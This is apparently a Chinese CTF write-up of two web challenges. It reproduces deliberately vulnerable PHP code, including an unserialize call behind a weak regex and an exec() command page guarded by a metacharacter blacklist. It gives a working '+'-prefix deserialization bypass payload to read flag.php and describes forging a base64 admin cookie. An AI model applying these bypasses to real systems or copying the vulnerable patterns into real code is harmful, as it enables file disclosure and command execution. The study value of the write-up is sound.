这次的web题目感觉完全是新手题,思路很直接,我就不掺和了,做完web就逃23333,继续完成密码学课程实验报告去了。。。但还是记录一下。
这个题目考的是一个php反序列化的一个绕过,上来就给了一段代码,很简单
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
关键是绕过这一句,本意是为了防止对象被反序列化,可以参考一下这篇文章:https://blog.spoock.com/2016/11/03/php-wakeup/
preg_match('/[oc]:\d+:/i',$data,$matches);
所以只需要只需要在对象长度前添加一个+
号,即o:14->o:+14
,这样就可以绕过正则匹配。最后的payload:
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
url编码后发包就可以获得flag
这个题目上来发现没什么线索,只能扫一下目录,发现了一个admin.php
,但是进去却回显You are not admin...
,这样思路就很明确了,我们需要伪造admin的身份,查一下cookie,果然需要伪造一下,把cookie的值从user
->admin
就好,还需base64一下
然后就可以进入一个命令执行的页面,输入ls
发现有回显,但是很多东西都被过滤了
可以尝试一下读文件,在config.php
发现黑名单
admin.php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
die("You are not admin...");
}
if (@$_POST['cmd']) {
$cmd = waf_exec($_POST['cmd']);
$retval = array();
exec($cmd, $retval, $status);
// var_dump($retval);
if ($status == 0) {
$res = implode("\n",$retval);
}else{
$res = 'error';
}
}else{
$res = '';
}
include './templates/admin.html';
config.php
session_start();
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}
关键是如何绕过这个黑名单去读到flag,这里已经把很多东西都过滤了,但是$
以及/
都没被过滤,可以很好地执行命令
成功读取flag